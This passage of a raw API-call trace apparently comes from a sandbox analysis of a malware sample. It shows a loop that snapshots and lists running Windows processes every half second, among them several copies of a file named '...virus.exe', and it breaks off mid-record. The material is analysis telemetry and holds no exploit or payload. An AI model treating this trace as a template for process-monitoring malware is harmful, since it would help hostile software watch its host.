0x1e0 [0190.363] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.363] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0190.363] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0190.364] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0190.364] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0190.365] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0190.365] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0190.366] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0190.366] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0190.366] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0190.367] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.367] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.368] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.368] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.369] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.369] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0190.369] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.370] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.370] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0190.371] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0190.371] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0190.371] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0190.372] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0190.372] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.373] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0190.373] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0190.374] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0190.374] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0190.374] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0190.375] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0190.375] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0190.376] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0190.376] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0190.377] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0190.377] CloseHandle (hObject=0x1e0) returned 1 [0190.377] Sleep (dwMilliseconds=0x1f4) [0191.975] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x200 [0191.994] Process32FirstW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.995] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0191.995] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0191.996] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.996] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0191.997] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.997] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0191.998] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0191.998] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0191.999] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0191.999] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.000] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.000] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.001] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.001] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.002] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0192.002] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.003] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.003] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0192.004] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0192.004] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0192.006] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0192.006] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0192.007] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.007] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0192.008] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0192.009] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0192.009] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0192.010] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0192.011] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0192.011] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0192.011] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0192.012] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0192.012] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0192.013] CloseHandle (hObject=0x200) returned 1 [0192.013] Sleep (dwMilliseconds=0x1f4) [0192.984] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0192.986] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.986] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0192.987] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0192.987] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0192.987] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0192.988] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0192.988] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0192.988] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0192.989] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0192.989] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0192.989] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.990] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.990] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.991] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.991] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, 